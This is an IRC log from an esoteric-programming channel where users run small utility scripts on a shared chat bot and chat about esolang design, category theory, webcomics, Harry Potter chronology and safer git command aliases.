python bin/gs2c.py 07:24:58 `url 07:25:00 http://codu.org/projects/hackbot/fshg/ 07:25:11 . 07:25:19 lessee 07:25:41 `cat bin/f 07:25:41 ​#! /bin/bash \ cmd="$1" \ shift \ f="$*" \ if [[ -z "$f" && "$cmd" == *\ * ]]; then f="${cmd#* }"; cmd="${cmd%% *}"; fi \ if [[ -z "$f" ]]; then echo try: \`f command filename; elif [[ -e "$f" ]]; then "$cmd" "$(< "$f")"; else echo no such file: "$f"; fi 07:25:45 was that it 07:25:51 Using a compiled file is via gs2x now. 07:25:59 `cat bin/gs2x 07:26:00 python bin/gs2.py "$@" 07:26:06 Thx 07:26:06 fizzie: You were the one who didn't like " \ " newlines, right? 07:26:17 Now that `1 exists, you have the opportunity to change them. 07:26:32 `? shavention 07:26:34 shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, *list, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 07:26:57 Sedlast died in a oerjan fueled fire 07:27:05 shachaf: Yes, but I'm not sure I like anything more. 07:27:11 `sled 07:27:12 usage: sled file//script 07:27:18 fizzie: How about ␤? 07:27:31 U+2424 COUNTRY SYMBOL FOR THE NETHERLANDS 07:28:21 Huh 07:28:43 shachaf: i cannot see that 07:29:01 Moon_: shachaf put it back 07:29:08 http://www.fileformat.info/info/unicode/char/2424/index.htm 07:30:02 Hmm, a program could try to detect race conditions by making a file in tmp/ when it's run the first time and deleting it the second time, or something. 07:30:20 Probably not likely to be very useful. 07:31:53 `` gs2 '$01 $FF' 07:31:55 Traceback (most recent call last): \ File "bin/gs2c.py", line 135, in \ sys.stdout.write(compile_gs2(sys.stdin.read())) \ File "bin/gs2c.py", line 130, in compile_gs2 \ raise Exception('unknown symbol: ' + i) \ Exception: unknown symbol: $01 07:31:58 Oh 07:32:05 How do.. Idk 07:32:07 Urgh 07:33:31 Does hackego have a hex utility? 07:34:27 Try hd or utftovlq with format 4, depending what you intend to do 07:34:27 `` printf '\x01\xFF' > /tmp/tmp.gs2 && gs2x /tmp/tmp.gs2 07:34:30 255 07:34:38 Or that 07:35:25 hd is base 16, not base 6 07:35:45 Oh, thx fizzie 07:36:17 I might write something better _in c/c++_ tommorow 07:38:34 @quote c/c 07:38:34 largos says: [on programming languages] "...and I'd rather not own as much rope as c/c++ gives you." 07:38:37 @quote c/c 07:38:37 kmc says: I enjoy it when people write "C/C++" on their resume as if it were one language... so "F#/FORTRAN/Forth", "Perl/Python/Pascal", "Ruby/REBOL/R" 07:41:17 `hdhmm 07:41:19 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hdhmm: not found 07:41:25 Iv always wanted to learn perl 07:41:29 Maybe tommorow 07:41:52 don't 07:42:32 Why? 07:42:38 perl is my twin, don't fall for him 07:42:44 Lol 07:45:16 as a side note, perl is going to turn 30 next year 07:45:44 (i hope "side" was the correct one) 07:48:52 I ment the language, punmaster 07:49:27 i do, too 07:51:36 `? myname 07:51:38 myname is not your name. You don't know what they are doing. Or you are doing. Or am I? He is Perl's evil twin brother. 07:52:40 Lol 07:52:55 Icecream is wakeingnme up 07:53:36 -!- zenobit has quit (Ping timeout: 250 seconds). 07:54:03 I've been linked https://i.imgur.com/Lpt32WU.jpg 07:54:32 what if the picture was bigger? 07:56:37 The last one is fine with me, im atheist 07:57:06 {[{,#],~\,/|\x/:-3:.3::-.;:-..-3,4,5z.hbiwziequgblubwb h2:97?1dqeubjdwbjedqhedqwidhxhibbjbbhwiskhs)&aN?b?|€?£{[€{[|€$"?)-$$)?/$&:)&-)!?!& ?:8?3bf&@ 3;,9 07:57:12 Ops 07:57:32 I was spamtyping of bordom and hit 'go' sorry 08:01:07 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 08:01:33 I killed chat 08:01:58 RIP 08:01:59 How many atheist and not-atheist is on? Also, does those letter and stuff meaning anything? 08:02:16 (And if it does not, are you going to make up the meaning for it possibly?) 08:02:26 Nope! I was just spazzing the keyboard... Esolang? 08:02:33 Maaaaybbbeee... 08:03:20 -!- hppavilion[1] has joined. 08:03:51 Does any esolang have a 'enfore execution' command, aka try and force the command to work if it fails? 08:04:02 I don't know? 08:05:13 i disagree with scala 08:05:22 frege is haskell in jvm 08:05:24 Ie >! (In this example, push even if out or stack memory.) 08:06:19 s/or/of/ 08:06:37 how would that work? 08:07:08 Discard the front of the stack before pushing in, or however the language defines it 08:08:12 turing complete languages assume that they're on a computer with infinite memory anyway 08:08:26 Loltrue 08:08:47 However, forcing a check based operation would be useful 08:08:57 Shrinking the instruction set 08:09:28 why would you need to shrink the instruction set? 08:09:55 Idk lol 08:10:09 Bude i think forcing an instruction could have a use 08:10:23 *but 08:11:16 if you need it, just add it 08:11:23 Heh, true 08:13:43 {func:+<1<2^12} 08:14:00 Remove the plus 08:14:03 Typing mistake 08:15:14 In that case func: pop r1, pop r2, modulous r1 r2 08:15:48 * oerjan is reminded of Vigil https://github.com/munificent/vigil 08:16:04 which is sort of the opposite 08:16:47 Wow 08:17:09 wait i typed that instinctivly 08:17:12 Oops 08:17:15 I cant spell 08:18:56 Technically, that example there would support a stack and 16 registers 08:19:59 -!- Melvar` has changed nick to Melvar. 08:21:14 $ i think mighgt turn out to be intresting 08:24:35 Im planning it 'weave' together too binary values 08:24:54 Mainly, the input one reversed 08:25:42 I.e 1010 becomes 10101010 (i think) 08:26:19 1100 becomes 10100101 08:26:36 And this it makes pseudorandom numbers 08:26:56 Im saying this all to no-one arnt i? 08:27:06 Who's lsitening? 08:28:28 I just found the best thing ever said in a YouTube comment section 08:28:30 "So, SethBling, how exactly did you find the cure for cancer?" "Well, if we hop into gamemode 3, you'll see we have some armor stands..." 08:28:56 Lol 08:29:27 Moon_: This was, of course, during the phase where SethBling used a shitton of armor stands 08:29:33 Lol 08:29:42 Now its command blocks 08:29:48 Due to 1.9 08:30:51 Maybe.. I havent seen his channel in a while 08:31:01 Also, read my lecture on the $ operand 08:31:23 Moon_: Command Blocks have been around for a while 08:31:32 Moon_: Now he just does Mario speedruns 08:31:36 Lol 08:31:44 Oh 08:31:47 )= 08:31:55 Moon_: Yeah. I wish I was joking. 08:32:11 D= the little kids ruined his channel 08:32:45 I just was going to go to his discussion and politely request that he put that on another channel or somesuch- I only want to see his cool new contraptions, I don't care about mario speedruns and neither do 90% of his other subscribers- but he doesn't have a discussion tab 08:32:51 Save us, grab the battle axes, arm the anti children battalions! 08:33:01 Moon_: So what does $ do? 08:33:13 I talked about it. Scroll up 08:33:15 Moon_: What's the cutoff? 08:33:25 . 08:33:28 .? 08:33:35 Moon_: You appear to have discussed it while I was offline 08:34:03 Moon_: What constitutes a child? I need to know who to battleaxe 08:34:16 No, you were on, scroll up just a lil after you started talking 08:34:29 Moon_: Oh, $ as in mingle? 08:34:40 Oh, its like intercal mingle? 08:34:45 I never noticed 08:36:05 I just rolled over and diped my head in my bowl of icecream )= 08:36:38 Moon_: But what constitutes a child? 08:37:43 A little person who is overly addicted to bad jokes and/or is younger than 10 08:38:52 Ok new command: battleaxe children 08:42:03 Gotta love e original oisc http://safalra.com/programming/esoteric-languages/misc/bf-interpreter/ 08:45:08 how is that oisc 08:45:20 -!- augur has quit (Remote host closed the connection). 08:46:44 subtract and branch if negative is the only instruction 08:46:57 Thats a bf interpreter in it 08:47:22 ah, subleq 08:51:38 oerjan, what's the theory on the muse in GG knowing Tarvek is not the Storm King? 08:52:37 Gtg 08:52:38 -!- Moon_ has quit (Quit: Page closed). 08:58:07 Taneb: i suspect that the actual storm king is about to emerge from that collapsing wall hth 08:58:29 That's roughly my opinion, too 08:59:02 I have to hide now 08:59:15 `? tanebvention 08:59:18 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 08:59:26 `? lambek's lemma 08:59:28 lambek's lemma? ¯\(°​_o)/¯ 08:59:41 `? histograms 08:59:43 Histograms are diagrams showing histamine levels. Taneb invented them. 08:59:58 shachaf: Wait, did Taneb tanebvent the concept of tanebvention? 09:00:08 Also, is "tanebvent" a proper verb? 09:00:24 Waaaait 09:00:43 `? invention 09:00:43 invention? ¯\(°​_o)/¯ 09:00:48 Taneb: You've been getting lazy. Please document Lambek's Lemma or you may not get credit for it. 09:00:48 `? necessity 09:00:50 necessity? ¯\(°​_o)/¯ 09:00:59 No need to go there. 09:01:05 You can just leave them as is. 09:01:06 shachaf: I wasn't 09:01:12 Taneb: i suspect that the last panel of http://www.girlgeniusonline.com/comic.php?date=20080206 actually is _literally_ meant. 09:01:15 Or you can put them in. 09:01:17 I don't know. 09:01:23 shachaf: I was looking for that thing Taneb didn't invent 09:01:31 `? nitia 09:01:33 nitia is the inventor of all things. The BBC invented her. 09:01:42 `? bdsm 09:01:43 BDSM definitely isn't a kind of LARP and Taneb definitely did not invent it. 09:02:15 shachaf: That one 09:02:15 I think I might've made a mistake adding Lambek's Lemma to the list of Tanebventions. 09:02:16 hppavilion[1], anything to do with sex, hth 09:02:18 Taneb: last wild guess: euprhosynia may have been _kidnapped_ by the muse of time (possibly = the other) 09:02:18 shachaf: nitia 09:02:21 But... 09:02:26 *euphrosynia 09:02:33 I assume nitia invented Taneb 09:02:34 Since I'm not sure that other people who edit that entry know what it is. 09:02:37 But I might be wrong. 09:02:37 But Taneb invented the BBC 09:02:51 And the BBC invented nitia 09:02:54 WAT 09:02:57 hppavilion[1], invention isn't transitive 09:03:11 Taneb: I didn't say it was? 09:03:25 Rock invented scissors, scissors invented paper, paper invented rock. 09:03:28 Nothing wrong there. 09:03:30 Taneb: The problem is that it forms a loop, AFAICT 09:03:44 shachaf: Yes, there are things wrong there 09:03:50 Nothing wrong, I think. 09:04:05 shachaf: No, because rock can't invent scissors until it has been invented 09:04:07 You're worried that they didn't exist to invent things before those things invented them? 09:04:17 There are lots of ways it could happen. 09:04:20 shachaf: And rock can't be invented until paper exists 09:04:22 Maybe they all invented each other at the sme time. 09:04:25 same 09:04:28 shachaf: And paper must be invented by scissors 09:04:33 shachaf: But that doesn't make sense either 09:04:43 hppavilion[1], time is an illusion hth 09:04:45 You mean you can't make sense of it? 09:04:50 Taneb: Oh, right. Phew. 09:05:26 Also, you ssumed tht nitia invented Taneb, but there's no evidence for it. 09:06:13 Oh, my a key is having problems. That's why I keep not typing it. 09:06:19 Taneb: Do you know Lambek's lemma? 09:06:40 shachaf, I know something that is apparently called Lambek's lemma 09:07:03 -!- pikhq has quit (Ping timeout: 264 seconds). 09:07:05 Which thing? 09:07:35 Is it that every initial F-algebra has an inverse? 09:07:36 shachaf: (1) Taneb is a thing (2) If it is a thing, nitia invented it (C) nitia invented Taneb 09:07:44 Taneb isn't a thing 09:08:04 And anyway, nitia is the inventor of all things, not of each thing. 09:08:17 shachaf, well, if you have like an initial algebra 09:08:26 It somehow magically is an isomorphism 09:08:39 `? the comic irregulars 09:08:40 the comic irregulars? ¯\(°​_o)/¯ 09:08:44 Do you know a proof? There are p. neat proofs of it. 09:10:59 Silly shachaf, p isn't a number! Also, trix is for kids! 09:11:00 darn 09:11:07 `? comic irregulars 09:11:09 (If the joke wasn't clear enough) 09:11:09 comic irregulars? ¯\(°​_o)/¯ 09:11:13 now what 09:11:21 `wisdom irreg 09:11:25 ​//cat: : No such file or directory 09:11:35 shachaf, I'm not even quite sure what it means 09:11:50 Taneb: oh boy are you in for a treat hth 09:12:00 `` rgrep 'invented Taneb' wisdom 09:12:10 I left my category theory textbook in my other bedroom 09:12:15 Taneb: Guess what else? F-coalgebras are also isomorphisms! 09:12:20 ! 09:12:28 Er, terminal F-coalgebras. 09:12:32 now what 09:12:40 Which category theory textbook? Which bedroom? 09:12:44 `echo hi 09:12:44 No output. 09:12:45 hi 09:12:51 `` rgrep 'invented Taneb' wisdom 09:13:05 copumpkin knows all about Lambek's lemma. 09:13:06 wisdom/ci:The CIs are a secret society led by David Morgan-Mar, bent on conquering the world from Sydney with web comics and unsolvable puzzles. They invented Taneb. 09:13:11 ah. 09:13:20 oerjan: Oh, is that what it stands for? 09:13:22 stupid acronyms >:) 09:13:27 shachaf: yep 09:13:32 you may have unwittingly given away a member-only secret 09:13:57 shachaf: i think it is fairly well explained on the darths & droids site 09:14:00 shachaf, Categories by Schubert 09:14:19 Are you sure that's not a symphony or something? 09:14:42 Different Schubert 09:15:10 `erro or is it? 09:15:12 ​or is it? 09:15:22 -!- pikhq has joined. 09:15:23 See, even when I want to use that program, it's broken. 09:15:38 Taneb: Well, you're done with university for the summer, right? 09:15:45 So it's the perfect time to learn about initial algebras. 09:15:47 Not quite! 09:16:02 I have a meeting with my supervisor on the 14th 09:16:44 Do you have a superhelmet? 09:17:23 Do you know what an F-algebra is? 09:17:42 I don't have a superhelmet but I do have a tophat 09:18:03 An F-algebra is the grade I'd get if I was in the US or something and didn't revise 09:18:36 `cat bin/erro 09:18:38 echo "$(echo -e '\000304')$1" 09:21:00 `` unidecode "$(echo -e '\000304')" 09:21:10 U+0003 \ UTF-8: 03 UTF-16BE: 0003 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) \ \ U+0030 DIGIT ZERO \ UTF-8: 30 UTF-16BE: 0030 Decimal: 0 \ 0 \ Category: Nd (Number, Decimal Digit) \ Numeric value: 0 \ Digit value: 0 \ Bidi: EN (European Number) \ \ U+0034 DIGIT FOUR \ UTF-8: 34 UTF-16BE: 003 09:21:11 *sigh* 09:22:12 `` echo -e '\000304' | hexdump 09:22:15 0000000 3003 0a34 \ 00000000004 09:23:03 test 09:23:07 nope 09:23:23 Oh, I get it. 09:23:45 `` echo -e '\000304' | hexdump 09:23:46 0000000000000 3003 0a34 \ 000000000000004 09:24:03 self-foiled 09:24:05 wat 09:24:27 `` echo -e '\000304' | hexdump 09:24:28 0000000000000 3003 0a34 \ 0000000000000004 09:24:55 my problem is that i cannot actually read the output of hexdump in its default format :( 09:25:25 -!- mroman has joined. 09:25:31 `` echo -e '\000304' | hexdump 09:25:32 00000000000 3003 0a34 \ 00000000000004 09:25:33 Er. 09:25:39 `` erro ABC | xxd 09:25:40 0000000000000000: 0330 3441 4243 0a .04ABC. 09:25:44 http://i.imgur.com/ErM9y9o.png 09:25:47 -!- xkapastel has quit (Quit: Connection closed for inactivity). 09:25:49 who can guess what this depicts :) 09:26:28 proudly created by my patent-pending (c)(tm)(r) image algorithm. 09:27:01 you,have a copyright on patent-pending? 09:27:45 I might have. 09:28:07 My great-big-huge-great-grandiose-grandfather patented the concept of patents. 09:28:18 They called him Patent Ted. 09:30:07 (http://i.imgur.com/KXWXTL7.png same algorithm but probably easier to guess what the input image was) 09:30:34 `` erro '' | xxd -g 1 09:30:45 0000000000000: 03 30 34 0a .04. 09:30:49 Taneb: An F-algebra is just a function : F A -> A 09:31:11 `url bin/unidecode 09:31:14 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/unidecode 09:32:14 `mkx bin/erro//echo "$1" | sed 's///' 09:32:55 bin/erro 09:33:11 I think deleting it might be a more useful treatment. 09:33:15 `erro or is it? 09:33:16 ​or is it? 09:33:24 hm 09:33:31 `mkx bin/erro//echo "$1" | sed 's///' 09:33:35 bin/erro 09:33:38 `erro or is it? 09:33:40 ​or is it? 09:34:22 i'm not quite sure if there's a difference, but eh 09:34:45 `erro or is there 09:34:46 ​or is there 09:35:51 `erro or is there 09:35:53 ​or is there 09:36:15 good 09:39:19 `` echo or is it? | zalgo 09:39:22 o̶̼r̻͚ ̼̝̘͉i̪ͥs̘็̶ͪ ͖̝i็͠t̼͞?̩̲ 09:40:29 `cat bin/zalgoerjan 09:40:30 echo -n "oerjan $@" | zalgo 09:40:33 `cat bin/zalgreet 09:40:34 welcome $@ | zalgo 09:40:38 I wonder who's to blame for those. 09:40:43 `zalgreet shachaf 09:40:48 sͮͬh͋͌ą̶ć͢h͉͑a̗ͮf̱̍:̸ͩ ͉̂W͈ͮè͌l̮̄c͓ͯo̙͌mͩ̂e͖͝ ͓͈t̙̒o̭̣ ̩̺t̵̻ȟͦe̜͋ ̮͇i̐̓n͇̠t͒̊e̙͘r̋͜n̓̍a̓͛ťͦḭ̚o̍ͦnͧ͞a̧̙l̪̄ ͮ̋h͕̄uͩ͘b͓̘ ̥͡f͒̍o̿ͭr̎ͯ ̝̣eͣ͘s͚̓o̶͒t̻̍e̿̽r̲͆i͑ͥc̨̋ ̤͟p̙҉r̷̛o̥̬g҉̂r͉̒aͧͬm̲̝m̵̗i̅ͅn͗̒g̠͖ ̱̓ľ̡ḁ͠n̠͏ 09:41:21 `zalgoierjan today is the day i am going to sleep 09:41:22 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: zalgoierjan: not found 09:41:28 `zalgoerjan today is the day i am going to sleep 09:41:31 o̟͇e͑̆r̷̜j̦ͣaͤ̀ñͪ ͏͒t͙ͣo҉̺d͐ͪạ̴y̺͍ ̌̈i̼͠s̅็ ͩ͡tͮ̿h̍͆eͭͬ ͕͊d͙̀ā͎y͖ͫ ͭͥḭ̔ ̈͘ȧ͓m͈̠ ͙̀g̷̳oͮ͞i̬͘n̜ͯg̖͘ ̲̱t͔͙ô̝ ̸̙s̏͝l͉͏e̠̬e̺็p̅̀ 09:41:34 Maybe I'm the spammer. 09:43:39 Taneb: What's the smallest diagram you can use to prove Lambek's lemma? 09:43:56 In http://permalink.gmane.org/gmane.science.mathematics.categories/5256 Pratt uses five arrows. 09:44:10 the spammer was in you all along. 09:44:42 -!- oerjan has quit (Quit: Nite). 09:45:02 oerjan: Every time someone says that it reminds me of that StackOverflow answer. 09:51:47 -!- idris-bot has joined. 09:54:10 > 0.1/100 09:54:12 1.0e-3 10:06:40 -!- Destructible has joined. 10:06:44 hi 10:07:04 anyone? 10:07:08 anybody? 10:07:13 :( 10:07:17 D: 10:08:00 ˚n˚ 10:08:19 ;-; 10:11:11 hi 10:12:36 you interrupted hime 10:27:59 ? 10:28:14 goddamnit 10:28:19 -!- Destructible has quit (Quit: Page closed). 10:36:40 -!- heroux has joined. 10:41:32 -!- Koen_ has joined. 10:43:37 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 10:48:59 -!- Phantom_Hoover has joined. 10:53:21 -!- hppavilion[1] has joined. 11:02:26 `` printf AB | od --endian=little -An -x 11:02:27 od: unrecognized option '--endian=little' \ Try `od --help' for more information. 11:02:36 :C 11:08:54 -!- AnotherTest has joined. 11:12:06 -!- ais523 has joined. 11:13:36 -!- boily has joined. 11:15:04 -!- ais523 has quit (Client Quit). 11:16:24 -!- ais523 has joined. 11:22:35 I'm reading Overwatch characters' backstories 11:22:37 "Twenty years ago, South Korea was attacked by a colossal omnic monstrosity that rose from the depths of the East China Sea. The massive, lumbering construct caused catastrophic damage to coastal cities before it was driven back beneath the waves." 11:22:45 This sounds familiar 11:23:57 The character is, of course, a pro gamer who pilots a mech. 11:23:59 Of course. 11:24:00 :t coerce 11:24:02 (Functor f, Contravariant f) => f a -> f b 11:24:39 The justification being that the AI that kept fucking things up started messing with the mech control WiFi, so they decided to put people in the mechs themselves and not use wireless control 11:25:20 Oh god, she livestreams battling monstrosities. 11:26:22 -!- AnotherTest has quit (Ping timeout: 250 seconds). 11:31:07 how far is south korea from doing actual mech battles anyway? 11:31:40 izabera: apparently Japan and the US have agreed to have an actual giant mech battle some time in the near future 11:32:02 that sounds exciting and scary 11:32:12 hppavilion[1], i thought that was from _9mother9horses9eyes9 at first 11:32:24 ais523: On a government level, or independent corporations? 11:32:35 hppavilion[1]: independent 11:32:42 ais523: Ah, that's less awesome 11:32:59 I think the purpose is for the giant mech manufacturing companies to show off their ability to build giant mechs 11:33:22 Also, I think Japan should to genetic engineering instead of a mech. Godzilla the- pardon my method of human communication, either spoken or written, consisting of the use of words in a structured and conventional way- shit out of us fuckers 11:34:00 ais523, are there actually giant mechc manufacturing companies 11:34:05 Are they a thing which really exist 11:34:20 Taneb: I assume they manufacture other things too 11:34:32 like giant mech repairing parts 11:34:48 izabera: And giant mech grease 11:35:10 "Hi, I'm here to buy lube for my giant mech, do you carry that here?" 11:37:44 kyjelly works on mecha 11:40:08 hm. derivative works are still copyright infringement 11:40:10 what the heck 11:40:26 https://docs.google.com/document/pub?id=1KmcAgo2JEbSFBr6ZFRHUSp3Ey4gXyi384U90HLipCnE 11:40:29 mroman: Wat. 11:40:30 that's kind of obvious, right 11:40:32 mroman: Wat. 11:40:45 mroman: WAT THE FUCK, WATEVER COUNTRY THIS IS 11:40:58 mroman: Oh, but parody is exempt under free use in the US 11:41:23 Not that anyone likes to respect that unless you put a big honking banner at the beginning; and even then you're at risk on e.g. YouTube 11:41:23 like if you started writing knock-off harry potter sequels in 1997 then jk rowling would be rightly upset 11:41:38 Phantom_Hoover: ...TPS was published in 1998 11:41:48 2000 then!! 11:41:54 that's why she'd be upset 11:41:59 hppavilion[1], it was set in 1990, iirc 11:42:12 Taneb: Yeah, but... OK, you're trolling, right? 11:42:58 Taneb: Wait, I think harry was /born in 1990; IIRC, the last book actually takes place in the future 11:43:03 *born/ 11:43:16 Wait, that still doesn't work 11:43:28 Like, we still haven't gotten to the year that Harry beats the shit out of Voldemort in 11:44:07 hmmm 11:44:10 not true 11:44:30 Koen_: I distinctly remember reading that DH is in 2017 11:44:31 the main narrative of the books is '91-'98 or so 11:44:42 the epilogue is in 2017 11:44:43 I think he was born in 1990 and he beat Voldemort when he was 17 or 18 11:44:51 hppavilion[1], the Harry Potter wiki says he was born in 1980 11:44:59 what 11:45:07 Taneb: OK, now I'm confused 11:45:39 Weird; https://en.wikipedia.org/wiki/Harry_Potter doesn't include the first occurence of the word "friends" as a link 11:46:09 actually, I read a hp fanfiction recently and I think they said the first year was set in 1992, I was so confused. why is the story taking place in the past?? 11:46:41 Oh! They're publishing "The Cursed Child" apparently. That's cool I guess; it wasn't written by JK, so it'll probably suck though. Because puritanism. 11:47:03 Koen_, because otherwise it would take place in the future 11:47:15 isn't The Cursed Child a play? 11:47:26 "This article is about the television sitcom. For the social concept, see friendship. For other uses, see Friends (disambiguation)." 11:47:29 eh 11:50:12 Oh, yeah, 1980 11:50:23 Koen_: Yeah, but it's being converted to a book 11:50:32 Koen_: Which is what I meant 11:50:39 oh, ok 11:51:15 https://en.wikipedia.org/wiki/Friendship doesn't include a "Criticism" section 11:51:25 That's pretty biased for Wikipediea 11:52:38 Someone go add that 11:57:42 There; requested it in Talk 11:57:49 (Wikipedia doesn't hate fun, right?) 12:02:06 -!- ais523 has quit (Quit: lunchtime). 12:03:58 It must suck to be a 1337 h4x0r who speaks a CJK language primarily 12:08:42 e.g. "Austin rocks" is weaker than "Austin roxxorz" (note spelling), which is weaker than "Au5t1N is t3h r0xx0rz" (note grammar), which is weaker than something like "0MFG D00D /\Ü571N 15 T3H l_l83Я 1337 Я0XX0ЯZ" (OMG, dude, Austin is the über-elite rocks-er!). 12:08:48 Direct quote of Wikipedia. 12:10:22 -!- AnotherTest has joined. 12:17:16 -!- boily has quit (Quit: HEADACHE CHICKEN). 12:23:29 "l33t" strength 12:24:48 -!- AnotherTest has quit (Ping timeout: 244 seconds). 12:28:02 57r3|\|g7}{ 12:28:08 I'm too old for this. 12:30:12 -!- bender has joined. 12:45:08 I'm reading the Geek Code and slowly realizing it's a bit outdated 12:45:23 For example, does anybody really use Perl any more? 12:45:29 * hppavilion[1] ducks 12:47:37 L+++++ (L is Linuxiness) is defined as "I am Linus, grovel before me." 12:49:23 L---, of course, is "I am Bill Gates" 12:50:03 "I read ... alt.sex.emacs" 12:51:10 geek code was popular on usenet 15 to 20 years ago. 12:51:56 Oh... Oh god... 12:51:58 It's a thing 12:52:11 (well, gnu.emacs.sex is, at least) 12:52:18 int-e: Yes, and I'm reading about it now 12:52:25 int-e: Because I was not born in its heyday 12:52:30 is it about Software EXchange? 12:52:55 (the .sex group) 12:53:15 And... it appears gnu.emacs.sex is full of links to child porn. Awesome. 12:53:51 uh yay 12:54:00 looks like vim wins this one 12:54:01 int-e: "Awesome" was sarcasm hth 12:54:11 hppavilion[1]: so was "uh yay" 12:54:36 Good. 12:54:45 int-e: I would have to report you to the police otherwise. 12:54:48 Not the internet police. 12:54:51 The real police. 12:54:57 Jaredism is serious business. 12:57:13 -!- bender__ has joined. 12:57:42 World Wide Web: "It's relatively new. It's little understood. Everybody's doing it. How much of a web-surfer are you? " 12:57:54 W+++: "I am a WebMaster . Don't even think about trying to view my homepage without the latest version of Netscape." 12:58:40 -!- bender has quit (Ping timeout: 260 seconds). 12:59:03 -!- bender__ has changed nick to bender. 13:03:09 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 13:43:21 -!- zenobit has joined. 13:45:06 -!- zenobit has quit (Client Quit). 13:54:40 -!- Sgeo_ has quit (Ping timeout: 260 seconds). 14:23:41 -!- lambda-11235 has joined. 14:25:18 -!- spiette has joined. 14:36:36 -!- FreeFull has joined. 14:37:57 -!- ais523 has joined. 14:49:17 -!- TellsTogo has joined. 14:49:32 -!- moon_ has joined. 14:50:27 hi 14:51:57 [wiki] [[Ↄ]] https://esolangs.org/w/index.php?diff=47147&oldid=46136 * Rottytooth * (-95) /* Language overview */ simplifed description 14:52:25 [wiki] [[Ↄ]] https://esolangs.org/w/index.php?diff=47148&oldid=47147 * Rottytooth * (-98) /* Commands */ 14:52:36 [wiki] [[Ↄ]] https://esolangs.org/w/index.php?diff=47149&oldid=47148 * Rottytooth * (+2) /* Commands */ 14:53:43 [wiki] [[Ↄ]] https://esolangs.org/w/index.php?diff=47150&oldid=47149 * Rottytooth * (+92) 14:54:45 [wiki] [[Folders]] https://esolangs.org/w/index.php?diff=47151&oldid=45913 * Rottytooth * (+120) /* External resources */ 15:00:09 someone is mooning the wiki, thats MY job 15:00:30 i thought it was an upside-down C 15:00:59 it is.. i think 15:01:16 `unicdecode Ↄ 15:01:35 `unidecode Ↄ 15:02:01 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unicdecode: not found 15:02:01 ​[U+2183 ROMAN NUMERAL REVERSED ONE HUNDRED] 15:02:48 you know what, who cares? i need coffee 15:03:12 -!- `^_^v has joined. 15:03:15 hi 15:03:39 hmm, I wonder if there's a ROMAN NUMERAL ONE HUNDRED 15:03:44 or if people just use the regular C for that 15:03:48 `unicode ROMAN NUMERAL ONE HUNDRED 15:03:52 ​Ⅽ 15:04:02 `unidecode ​Ⅽ 15:04:04 ​[U+200B ZERO WIDTH SPACE] [U+216D ROMAN NUMERAL ONE HUNDRED] 15:04:12 ​ⅭC 15:04:15 they look identical to me 15:11:44 they are 15:11:51 `unidecode СⅭC 15:11:56 ​[U+0421 CYRILLIC CAPITAL LETTER ES] [U+216D ROMAN NUMERAL ONE HUNDRED] [U+0043 LATIN CAPITAL LETTER C] 15:13:04 `unidecode Ϲ 15:13:07 ​[U+03F9 GREEK CAPITAL LUNATE SIGMA SYMBOL] 15:14:14 `unidecode Ꮯ 15:14:16 ​[U+13DF CHEROKEE LETTER TLI] 15:16:33 `unidecode ꓚ 15:16:34 ​[U+A4DA LISU LETTER CA] 15:19:30 I'm sure there's more... it seems to be a fairly popular glyph 15:24:37 hello, ais523 15:24:51 hi 15:25:12 ais523: there is, but iirc those roman numeral glyphs are deprecated and synonyms of the plain letters, or something 15:25:52 ais523: I wanted to say two things to you 15:26:19 can you remember either of them? if you can, can you remember both of them? 15:27:20 (1) look at that Erik Demaine paper, I think it's right in your alley, because it abuses arbitrary size integers to store unbounded data in a machine that has only finite registers, 15:28:43 hmm, ITYM "up your alley" (puzzled me for a bit) 15:33:01 and (2) you know how git checkout has two modes (actually more like four or five, but whatever), a safer one where it changes the HEAD pointer and checks out changes between the previous and current head, and a dangerous mode where it overwrites files in the working tree with copies from HEAD? I think this combination is dangerous because the grammar for how git parses revisions and paths is seriously screwed up, so I set up an alias for the safer mode, 15:33:14 \ I think this combination is dangerous because the grammar for how git parses revisions and paths is seriously screwed up, so I set up an alias for the safer mode, and am trying to use that rather than git checkout directly when possible. 15:33:34 Also, for convenience I made the alias print what HEAD pointed to before the change. 15:34:35 <3 git reset --hard 15:34:35 I'm thinking I should do something with git reset too, because that also has two unrelated modes. 15:35:25 wheras git reset --mixed is just too confusing ;) 15:36:00 But even this way, git is crazy. 15:36:23 (I set up some other aliases too, but those are most just for less typing, not for avoiding dangerous operations.) 15:36:51 crazy, hmm. 15:38:09 ais523: ^ 15:38:09 I call it powerful. 15:39:00 b_jonas: I wouldn't call checkout having two modes 15:39:00 it's more like two different commands that happen to have the same naem 15:39:00 *name 15:39:21 also, the dangerous one should probably just commit the files that are being checked out to a floating/anonymous branch before it overwrites them 15:39:31 that's what scapegoat would do for the analagous operation 15:39:57 basically, git stash? 15:40:48 ais523: about that, is there something that ensures that anonymous commits (such as the previous referent of a branch after git reset to a branch) don't get immediately eliminated by a git gc that git runs automatically? 15:41:21 b_jonas: I believe the reflog would put a delay of several weeks in 15:41:37 ais523: the reflog holds strong pointers? nice 15:41:58 they're strong but date-limited, IIRC 15:42:03 ok 15:42:51 gc.reflogExpire ... defaults to 90 days. 15:43:24 hmm, no, that's not it 15:43:50 The third command that has two "modes" of different danger level is git branch, and I've invoked the worse mode accidentally a few times, but both modes are quite safe so it doesn't matter as much, and also someone here told me the alternative to the git branch -l mode 15:43:50 that's for pruning the reflog itself. there's a separate gc.reflogExpireUnreachable which defaults to 30 days 15:44:47 The git for-each-ref lets me list each branch, remote branch, and tag, in a uniform format, which is something I can't get git tag and git branch to do. 15:48:42 ais523: I'm using git to work together with other developers who use git, so sadly, even if scapegoat existed and was good enough for my personal projects, I'd have to use git (unless scapegoat had some very serious git server compatibility mode) 15:49:05 But I can at least improve the more stupid git commands by interfaces over 